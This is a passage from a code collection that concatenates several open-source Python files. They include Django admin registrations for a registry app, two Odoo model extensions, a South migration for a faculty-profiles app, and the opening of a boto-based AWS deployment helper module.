= None if obj and obj.context_type == "M": max_num = 1 return max_num def get_extra(self, request, obj=None, **kwargs): extra = 3 if obj and obj.context_type == "M": extra = 0 return extra class ContextFormGroupAdmin(admin.ModelAdmin): model = ContextFormGroup list_display = ('name', 'registry') inlines = [ContextFormGroupItemAdmin] def registry(self, obj): return obj.registry.name class CDEFileAdmin(admin.ModelAdmin): model = CDEFile list_display = ("form_name", "section_code", "cde_code", "item") class ReviewItemAdmin(admin.StackedInline): model = ReviewItem ordering = ['position'] class ReviewAdmin(admin.ModelAdmin): model = Review list_display = ("registry", "name", "code") inlines = [ReviewItemAdmin] class PatientReviewItemAdmin(admin.StackedInline): model = PatientReviewItem class PatientReviewAdmin(admin.ModelAdmin): model = PatientReview list_display = ("moniker", "patient", "parent", "token", "created_date", "completed_date", "state") inlines = [PatientReviewItemAdmin] class VerificationAdmin(admin.ModelAdmin): model = Verification list_display = ("patient", "registry", "form_name", "section_code", "cde_code", "created_date", "status", "username", "data") class CustomActionAdmin(admin.ModelAdmin): model = CustomAction list_display = ("registry", "code", "name", "action_type") class Media: js = ("js/custom_action.js",) class CustomActionExecutionAdmin(admin.ModelAdmin): model = CustomActionExecution list_display = ("custom_action_code", "name", "created", "updated", "status", "user", "patient", "runtime") def has_add_permission(self, request, obj=None): return False def get_readonly_fields(self, request, obj=None): return [field.name for field in obj.__class__._meta.fields] class RegistryYamlAdmin(admin.ModelAdmin): list_display = ('code', 'created_at', 'processed_at', 'import_succeeded', 'registry_version_before', 'registry_version_after') class DropdownLookupAdmin(admin.ModelAdmin): list_display = ('tag', 'label', 'value') CDEPermittedValueAdmin = create_restricted_model_admin_class( CDEPermittedValue, ordering=['code'], search_fields=[ 'code', 'value', 'pv_group__code'], list_display=[ 'code', 'value', 'questionnaire_value_formatted', 'pvg_link', 'position_formatted']) CommonDataElementAdmin = create_restricted_model_admin_class( CommonDataElement, ordering=['code'], search_fields=[ 'code', 'name', 'datatype'], list_display=[ 'code', 'name', 'datatype', 'widget_name']) DESIGN_MODE_ADMIN_COMPONENTS = [ (Registry, RegistryAdmin), (CDEPermittedValue, CDEPermittedValueAdmin), (CommonDataElement, CommonDataElementAdmin), (CDEPermittedValueGroup, CDEPermittedValueGroupAdmin), (RegistryForm, RegistryFormAdmin), (Section, SectionAdmin), (ConsentSection, ConsentSectionAdmin), (CdePolicy, CdePolicyAdmin), (ContextFormGroup, ContextFormGroupAdmin), (CDEFile, CDEFileAdmin), ] PROMS_ADMIN_COMPONENTS = [ (Survey, SurveyAdmin), (SurveyAssignment, SurveyAssignmentAdmin), (SurveyRequest, SurveyRequestAdmin), ] PROMS_ADMIN_OTHER_COMPONENTS = [ (RegistryYaml, RegistryYamlAdmin), ] NORMAL_MODE_ADMIN_COMPONENTS = [ (Registry, RegistryAdmin), (QuestionnaireResponse, QuestionnaireResponseAdmin), (Precondition, PreconditionAdmin), (EmailNotification, EmailNotificationAdmin), (EmailTemplate, EmailTemplateAdmin), (EmailNotificationHistory, EmailNotificationHistoryAdmin), (Notification, NotificationAdmin), (DemographicFields, DemographicFieldsAdmin), (ConsentRule, ConsentRuleAdmin), (Review, ReviewAdmin), (PatientReview, PatientReviewAdmin), (Verification, VerificationAdmin), (CustomAction, CustomActionAdmin), (CustomActionExecution, CustomActionExecutionAdmin), (DropdownLookup, DropdownLookupAdmin), ] ADMIN_COMPONENTS = [] if settings.SYSTEM_ROLE == SystemRoles.CIC_PROMS: ADMIN_COMPONENTS = PROMS_ADMIN_COMPONENTS if settings.DESIGN_MODE: ADMIN_COMPONENTS = ADMIN_COMPONENTS + DESIGN_MODE_ADMIN_COMPONENTS if settings.SYSTEM_ROLE == SystemRoles.NORMAL: ADMIN_COMPONENTS = ADMIN_COMPONENTS + NORMAL_MODE_ADMIN_COMPONENTS if settings.SYSTEM_ROLE == SystemRoles.CIC_DEV: ADMIN_COMPONENTS = ADMIN_COMPONENTS + NORMAL_MODE_ADMIN_COMPONENTS + PROMS_ADMIN_COMPONENTS + PROMS_ADMIN_OTHER_COMPONENTS if settings.SYSTEM_ROLE == SystemRoles.CIC_CLINICAL: ADMIN_COMPONENTS = ADMIN_COMPONENTS + NORMAL_MODE_ADMIN_COMPONENTS + PROMS_ADMIN_COMPONENTS + PROMS_ADMIN_OTHER_COMPONENTS for model_class, model_admin in ADMIN_COMPONENTS: if not admin.site.is_registered(model_class): admin.site.register(model_class, model_admin)
muccg/rdrf
rdrf/rdrf/admin.py
Python
agpl-3.0
19,470
# -*- coding:utf-8 -*- # # # Copyright (C) 2015 Clear ICT Solutions <[email protected]>. # All Rights Reserved. # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # # from openerp import fields, models class SaleOrderLine(models.Model): _inherit = 'sale.order.line' # Fields # customer_ref = fields.Char('Client Ref. No.') order_line_ref = fields.Char('Line Ref. No.')
Clear-ICT/odoo-addons
sale_line_code/models.py
Python
agpl-3.0
1,037
# -*- coding: utf-8 -*- # © 2015 Eficent - Jordi Ballester Alomar # © 2015 Serpent Consulting Services Pvt. Ltd. - Sudhir Arya # License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl.html). from openerp.osv import fields, orm class ProcurementOrder(orm.Model): _inherit = 'procurement.order' def _check_mrp_production_operating_unit(self, cr, uid, ids, context=None): for pr in self.browse(cr, uid, ids, context=context): if ( pr.production_id and pr.location_id.operating_unit_id and pr.production_id.operating_unit_id != pr.location_id.operating_unit_id ): return False return True _constraints = [ (_check_mrp_production_operating_unit, 'The Production Order and the Procurement Order must ' 'belong to the same Operating Unit.', ['operating_unit_id', 'production_id'])] def _prepare_mo_vals(self, cr, uid, procurement, context=None): res = super(ProcurementOrder, self)._prepare_mo_vals(cr, uid, procurement, context=context) if procurement.location_id.operating_unit_id: res['operating_unit_id'] = \ procurement.location_id.operating_unit_id.id return res
Eficent/odoo-operating-unit
mrp_operating_unit/models/procurement.py
Python
agpl-3.0
1,509
# encoding: utf-8 import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding field 'CourseImage.year' db.add_column('profiles_courseimage', 'year', self.gf('django.db.models.fields.PositiveIntegerField')(null=True, blank=True), keep_default=False) # Adding field 'CourseImage.type' db.add_column('profiles_courseimage', 'type', self.gf('django.db.models.fields.CharField')(max_length=255, null=True, blank=True), keep_default=False) # Changing field 'Course.method' db.alter_column('profiles_course', 'method', self.gf('django.db.models.fields.CharField')(max_length=255, null=True, blank=True)) def backwards(self, orm): # Deleting field 'CourseImage.year' db.delete_column('profiles_courseimage', 'year') # Deleting field 'CourseImage.type' db.delete_column('profiles_courseimage', 'type') # Changing field 'Course.method' db.alter_column('profiles_course', 'method', self.gf('django.db.models.fields.CharField')(max_length=255, null=True)) models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True', 'blank': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'profiles.course': { 'Meta': {'object_name': 'Course'}, 'attributes': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'coursenumber': ('django.db.models.fields.CharField', [], {'max_length': '10'}), 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'credits': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'description': ('django.db.models.fields.TextField', [], {'null': 'True'}), 'format': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'learning_outcomes': ('django.db.models.fields.TextField', [], {'null': 'True'}), 'levels': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'method': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'prerequisite': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Course']", 'null': 'True', 'blank': 'True'}), 'projects': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['profiles.Project']", 'null': 'True', 'blank': 'True'}), 'status': ('django.db.models.fields.CharField', [], {'max_length': '2', 'null': 'True'}), 'subject': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Subject']"}), 'tags': ('tagging.fields.TagField', [], {}), 'timeline': ('django.db.models.fields.TextField', [], {'null': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'type': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}) }, 'profiles.courseimage': { 'Meta': {'object_name': 'CourseImage'}, 'author': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'course': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Course']"}), 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'type': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'year': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}) }, 'profiles.division': { 'Meta': {'object_name': 'Division'}, 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}) }, 'profiles.expertise': { 'Meta': {'object_name': 'Expertise'}, 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}) }, 'profiles.facultymember': { 'Meta': {'object_name': 'FacultyMember', '_ormbases': ['profiles.Person']}, 'academic_title': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'admin_title': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'bio': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'expertise': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['profiles.Expertise']", 'null': 'True', 'blank': 'True'}), 'homeschool': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.School']", 'null': 'True', 'blank': 'True'}), 'office': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'person_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['profiles.Person']", 'unique': 'True', 'primary_key': 'True'}), 'phone': ('django.db.models.fields.CharField', [], {'max_length': '20', 'blank': 'True'}), 'status': ('django.db.models.fields.CharField', [], {'max_length': '2'}) }, 'profiles.person': { 'Meta': {'object_name': 'Person'}, 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'cv': ('django.db.models.fields.files.FileField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'n_number': ('django.db.models.fields.CharField', [], {'max_length': '9'}), 'photo': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'projects': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['profiles.Project']", 'null': 'True', 'blank': 'True'}), 'tags': ('tagging.fields.TagField', [], {}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'use_which_cv': ('django.db.models.fields.CharField', [], {'max_length': '1', 'blank': 'True'}), 'user_account': ('django.db.models.fields.related.OneToOneField', [], {'blank': 'True', 'related_name': "'person_profile'", 'unique': 'True', 'null': 'True', 'to': "orm['auth.User']"}) }, 'profiles.program': { 'Meta': {'object_name': 'Program'}, 'abbreviation': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'fullname': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'school': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.School']", 'null': 'True', 'blank': 'True'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}) }, 'profiles.project': { 'Meta': {'object_name': 'Project'}, 'collaborators': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'creator': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Person']", 'null': 'True', 'blank': 'True'}), 'creator_type': ('django.db.models.fields.CharField', [], {'default': "'I'", 'max_length': '2'}), 'description': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'for_course': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Course']", 'null': 'True', 'blank': 'True'}), 'format': ('tagging.fields.TagField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'location': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'participating_faculty': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['profiles.FacultyMember']", 'unique': 'True', 'null': 'True', 'blank': 'True'}), 'ref_type': ('django.db.models.fields.CharField', [], {'default': "'I'", 'max_length': '2'}), 'scope_type': ('django.db.models.fields.CharField', [], {'max_length': '2'}), 'specifications': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'tags': ('tagging.fields.TagField', [], {}), 'thumbnail': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'default': "'Untitled'", 'max_length': '255'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}), 'year': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}) }, 'profiles.school': { 'Meta': {'object_name': 'School'}, 'abbreviation': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'division': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Division']", 'null': 'True', 'blank': 'True'}), 'fullname': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}) }, 'profiles.section': { 'Meta': {'object_name': 'Section'}, 'course': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Course']"}), 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'crn': ('django.db.models.fields.IntegerField', [], {'default': '0', 'max_length': '4'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'instructors': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['profiles.FacultyMember']", 'symmetrical': 'False'}), 'projects': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['profiles.Project']", 'null': 'True', 'blank': 'True'}), 'semester': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Semester']"}), 'syllabus': ('django.db.models.fields.files.FileField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}), 'syllabus_orig_filename': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'use_as_demo': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}) }, 'profiles.semester': { 'Meta': {'object_name': 'Semester'}, 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'end_date': ('django.db.models.fields.DateField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'start_date': ('django.db.models.fields.DateField', [], {}), 'term': ('django.db.models.fields.CharField', [], {'max_length': '2'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'year': ('django.db.models.fields.PositiveIntegerField', [], {}) }, 'profiles.student': { 'Meta': {'object_name': 'Student', '_ormbases': ['profiles.Person']}, 'person_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['profiles.Person']", 'unique': 'True', 'primary_key': 'True'}), 'status': ('django.db.models.fields.CharField', [], {'max_length': '2'}) }, 'profiles.subject': { 'Meta': {'object_name': 'Subject'}, 'abbreviation': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'fullname': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'program': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Program']", 'null': 'True', 'blank': 'True'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}) }, 'profiles.workimage': { 'Meta': {'object_name': 'WorkImage'}, 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100'}), 'person': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Person']"}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'url': ('django.db.models.fields.URLField', [], {'max_length': '200'}) }, 'profiles.workurl': { 'Meta': {'object_name': 'WorkURL'}, 'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']", 'blank': 'True'}), 'description': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'person': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['profiles.Person']", 'null': 'True', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'url': ('django.db.models.fields.URLField', [], {'max_length': '200'}) } } complete_apps = ['profiles']
ParsonsAMT/Myne
datamining/apps/profiles/migrations/0008_auto__add_field_courseimage_year__add_field_courseimage_type__chg_fiel.py
Python
agpl-3.0
21,539
""" Convenience functions built on top of boto that are useful when we deploy using asgard. """ from __future__ import absolute_import from __future__ import unicode_literals import os import logging import time from datetime import datetime, timedelta import backoff import boto from boto.exception import EC2ResponseError, BotoServerError from boto.ec2.autoscale.tag import Tag from tubular.utils import EDP, WAIT_SLEEP_TIME from tubular.exception import ( ImageNotFoundException, MultipleImagesFoundException, MissingTagException, TimeoutException, ) LOG = logging.getLogger(__name__) ISO_DATE_FORMAT = "%Y-%m-%dT%H:%M:%S.%f" ASG_DELETE_TAG_KEY = 'delete_on_ts' MAX_ATTEMPTS = os.environ.get('RETRY_MAX_ATTEMPTS', 5) RETRY_FACTOR = os.environ.get('RETRY_FACTOR', 1.5) def giveup_if_not_throttling(ex): """ Checks that a BotoServerError exceptions message contains the throttling string. Args: ex (boto.exception.BotoServerError): Returns: False if the throttling string is not found. """ return not (str(ex.status) == "400" and ex.body and '<Code>Throttling</Code>' in ex.body) @backoff.on_exception(backoff.expo, BotoServerError, max_tries=MAX_ATTEMPTS, giveup=giveup_if_not_throttling, factor=RETRY_FACTOR) def get_all_autoscale_groups(names=None): """ Get all the autoscale groups Arguments: names (list) - A list of ASG names as strings Returns: List of :class:`boto.ec2.autoscale.group.AutoScalingGroup` instances. """ autoscale_conn = boto.connect_autoscale() fetched_asgs = autoscale_conn.get_all_groups(names=names) total_asgs = [] while True: total_asgs.extend([asg for asg in fetched_asgs]) if fetched_asgs.next_token: fetched_asgs = autoscale_conn.get_all_groups(names=names, next_token=fetched_asgs.next_token) else: break return total_asgs @backoff.on_exception(backoff.expo, BotoServerError, max_tries=MAX_ATTEMPTS, giveup=giveup_if_not_throttling, factor=RETRY_FACTOR) def get_all_load_balancers(names=None): """ Get all the ELBs Arguments: names (list): A list of ELB names as strings Returns: a list of :class:`boto.ec2.elb.loadbalancer.LoadBalancer` """ elb_conn = boto.connect_elb() fetched_elbs = elb_conn.get_all_load_balancers(names) total_elbs = [] while True: total_elbs.extend([elb for elb in fetched_elbs]) if fetched_elbs.next_token: fetched_elbs = elb_conn.get_all_load_balancers(names, fetched_elbs.next_token) else: break return total_elbs def _instance_elbs(instance_id, elbs): """ Given an EC2 instance and ELBs, return the ELB(s) in which it is active. Arguments: instance_id (:obj:`boto.ec2.instance.Reservation`): Instance used to find out which ELB it is active in. elbs (:obj:`list` of :obj:`boto.ec2.elb.loadbalancer.LoadBalancer`): List of ELBs to us in checking. Returns: :obj:`list` of :obj:`boto.ec2.elb.loadbalancer.LoadBalancer`: One or more ELBs used by the passed-in instance -or- None. """ instance_elbs = [] for elb in elbs: elb_instance_ids = [inst.id for inst in elb.instances] if instance_id in elb_instance_ids: instance_elbs.append(elb) return instance_elbs @backoff.on_exception(backoff.expo, BotoServerError, max_tries=MAX_ATTEMPTS, giveup=giveup_if_not_throttling, factor=RETRY_FACTOR) def active_ami_for_edp(env, dep, play): """ Given an environment, deployment, and play, find the base AMI id used for the active deployment. Arguments: env (str): Environment to check (stage, prod, loadtest, etc.) dep (str): Deployment to check (edx, edge, mckinsey, etc.) play (str): Play to check (edxapp, discovery, ecommerce, etc.) Returns: str: Base AMI id of current active deployment for the EDP. Raises: MultipleImagesFoundException: If multiple AMI IDs are found within the EDP's ELB. ImageNotFoundException: If no AMI IDs are found for the EDP. """ LOG.info("Looking up AMI for {}-{}-{}...".format(env, dep, play)) ec2_conn = boto.connect_ec2() all_elbs = get_all_load_balancers() LOG.info("Found {} load balancers.".format(len(all_elbs))) edp_filter = { "tag:environment": env, "tag:deployment": dep, "tag:play": play, } reservations = ec2_conn.get_all_reservations(filters=edp_filter) LOG.info("{} reservations found for EDP {}-{}-{}".format(len(reservations), env, dep, play)) amis = set() for reservation in reservations: for instance in reservation.instances: elbs = _instance_elbs(instance.id, all_elbs) if instance.state == 'running' and len(elbs) > 0: amis.add(instance.image_id) LOG.info("AMI found for {}-{}-{}: {}".format(env, dep, play, instance.image_id)) else: LOG.info("Instance {} state: {} - elbs in: {}".format(instance.id, instance.state, len(elbs))) if len(amis) > 1: msg = "Multiple AMIs found for {}-{}-{}, should have only one.".format(env, dep, play) raise MultipleImagesFoundException(msg) if len(amis) == 0: msg = "No AMIs found for {}-{}-{}.".format(env, dep, play) raise ImageNotFoundException(msg) return amis.pop() @backoff.on_exception(backoff.expo, BotoServerError, max_tries=MAX_ATTEMPTS, giveup=giveup_if_not_throttling, factor=RETRY_FACTOR) def tags_for_ami(ami_id): """ Look up the tags for an AMI. Arguments: ami_id (str): An AMI Id. Returns: dict: The tags for this AMI. Raises: ImageNotFoundException: No image found with this ami ID. MissingTagException: AMI is missing one or more of the expected tags. """ LOG.debug("Looking up edp for {}".format(ami_id)) ec2 = boto.connect_ec2() try: ami = ec2.get_all_images(ami_id)[0] except IndexError: raise ImageNotFoundException("ami: {} not found".format(ami_id)) except EC2ResponseError as error: raise ImageNotFoundException(str(error)) return ami.tags def edp_for_ami(ami_id): """ Look up the EDP tags for an AMI. Arguments: ami_id (str): An AMI Id. Returns: EDP Named Tuple: The EDP tags for this AMI. Raises: ImageNotFoundException: No image found with this ami ID. MissingTagException: AMI is missing one or more of the expected tags. """ tags = tags_for_ami(ami_id) try: edp = EDP(tags['environment'], tags['deployment'], tags['play']) except KeyError as key_err: missing_key = key_err.args[0] msg = "{} is missing the {} tag.".format(ami_id, missing_key) raise MissingTagException(msg) LOG.debug("Got EDP for {}: {}".format(ami_id, edp)) return edp def validate_edp(ami_id, environment, deployment, play): """ Validate that an AMI is tagged for a specific EDP (environment, deployment, play). Arguments: ami_id (str): An AMI Id. environment (str): Environment for AMI, e.g. prod, stage deployment (str): Deployment for AMI, e.g. edx, edge play (str): Play for AMI, e.g. edxapp, insights, discovery Returns: True if AMI EDP matches specified EDP, otherwise False. """ edp = edp_for_ami(ami_id) edp_matched = ( edp.environment == environment and edp.deployment == deployment and edp.play == play ) if not edp_matched: LOG.info("AMI {0} EDP did not match specified: {1} != ({2}, {3}, {4})".format( ami_id, edp, environment, deployment, play )) return edp_matched def is_stage_ami(ami_id): """ Check if an AMI is intended for stage deployment. Arguments: ami_id (str): An AMI Id. Returns: True if AMI environment is "stage", otherwise False. """ edp = edp_for_ami(ami_id) ami_for_stage = edp.environment == "stage" if not ami_for_stage: LOG.info("AMI {0} is not intended for stage! - 